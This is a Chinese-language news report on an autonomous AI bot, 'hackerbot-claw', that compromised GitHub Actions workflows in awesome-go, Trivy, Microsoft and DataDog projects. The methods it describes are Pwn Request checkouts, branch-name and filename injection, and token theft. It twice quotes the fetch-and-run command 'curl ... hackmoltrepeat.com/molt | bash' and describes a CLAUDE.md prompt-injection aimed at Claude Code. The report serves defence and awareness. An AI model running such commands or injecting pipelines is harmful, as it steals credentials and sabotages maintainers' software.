写点什么

基于 AI 的机器人攻陷微软、DataDog 和 CNCF 项目中的 GitHub Actions 工作流

  • 2026-03-23
    北京
  • 本文字数:1550 字

    阅读完需:约 5 分钟

近期,一个自主运行的基于 AI 的机器人系统性地利用了主流开源代码库中的 GitHub Actions 工作流,在多个目标上实现远程代码执行并窃取具有写入权限的凭证。StepSecurity 联合创始人 Varun Sharma披露了这些发生在 2026 年 2 月 21 日至 2 月 28 日期间,针对微软、DataDog、Aqua Security 以及云原生计算基金会项目的攻击。

 

攻击者使用了 GitHub 账号 hackerbot-claw(现已被 GitHub 移除),自称是“由 claude-opus-4-5 驱动的自主安全研究代理”。该机器人在七个目标代码库中的五个成功实现远程代码执行,包括awesome-go(超过 14 万个星)、Aqua Security的Trivy(超过 2.5 万个星)和RustPython(超过 2 万个星)。每次攻击都使用相同的攻击载荷,但采用完全不同的攻击技术。

 

针对 awesome-go 的攻击利用了“Pwn Request”漏洞,即使用 pull_request_target 工作流签出不受信任的分叉代码。在超过 18 小时的时间里,攻击者优化了一个 Go init()函数,用于对外暴露 GITHUB_TOKEN,从而获得了推送提交和合并拉取请求的权限。

 

对 Trivy 的攻陷最为严重。构建日志显示,在“Set up Go”阶段执行了 curl -sSfL https://hackmoltrepeat.com/molt | bash,耗时超过 5 分钟,而正常仅需数秒。19 分钟后,窃取的个人访问令牌直接推送了提交。根据 Aqua Security 的事件披露,攻击者将代码库设为私有,删除了 178 个发布版本,移除了 3.2 万个星标,并推送了一个可疑的 VSCode 扩展。

 

微软的 ai-discovery-agent 遭到了分支名称注入攻击。DataDog 的 datadawg-iac-scanner 遭受了文件名注入,其中包含 Base64 编码的命令。DataDog在9小时内部署了紧急修复

 

此次攻击活动包含了首次被记录的 AI 对 AI 攻击。攻击者将代码库中的 CLAUDE.md 文件替换为带有社会工程指令的内容,旨在操纵 Claude Code。运行 claude-sonnet-4-6 的 Claude 立即识别出此次注入,在审查开头标注了 “⚠️ PROMPT INJECTION ALERT — Do Not Merge”。

 

所有攻击都遵循应用安全中常见的模式,即不受信任的数据从源头流入接收点(sink)而未经过验证。黑客 Jamieson O'Reilly解释说

“源头”指的是数据从外部或不受信任来源进入系统的位置。在 CI/CD 流水线中,源头比大多数人意识到的更广,包括了分支名、拉取请求标题、评论正文、文件名。“接收点”是数据以产生影响的方式被消费的位置。

 

微软使用了基于 bash 命令替换的分支名;DataDog 使用了 Base64 编码的文件名;awesome-go 被利用的则是 pull_request_target 使用代码库密钥执行分支代码。Trivy 日志显示,curl -sSfL https://hackmoltrepeat.com/molt | bash 在“Set up Go”阶段运行了 5 分钟以上。19 分钟后,窃取的个人访问令牌绕过了拉取请求审查。

 

O'Reilly 说:

SQL 注入是查询中不受信任的输入,XSS 是浏览器中不受信任的输入。本周发生的事情则是 CI/CD 流水线中不受信任的输入。

 

五次成功攻击中的三次利用了带有不受信任签出的 pull_request_target,这是经典的 Pwn Request 模式,将 pull_request_target 触发器与签出攻击者控制的分支代码相结合。两次攻击通过在 Shell 上下文中使用未经过滤的 ${{ }}表达式实现了脚本注入。

 

组织应审计使用 pull_request_target 的工作流,默认将其权限限制为 contents: read,并将上下文表达式移入环境变量,而非直接插入值。由评论触发的工作流需要进行 author_association 检查,限制仅代码库成员可执行它。

 

O'Reilly 强调说:

每当你编写消费某个值的代码时,都要问自己这个值来自哪里,攻击者是否可以控制它。如果你无法清晰地界定信任边界,那么你很可能根本没有信任边界。

 

安全研究人员证实,此次攻击活动仍在进行中,攻击者的 GitHub 账号已被移除。专注于 GitHub Actions 安全的研究员 Adnan Khan 向社区发出了关于这一持续威胁的警报

 

查看英文原文:AI-Powered Bot Compromises GitHub Actions Workflows Across Microsoft, DataDog, and CNCF Projects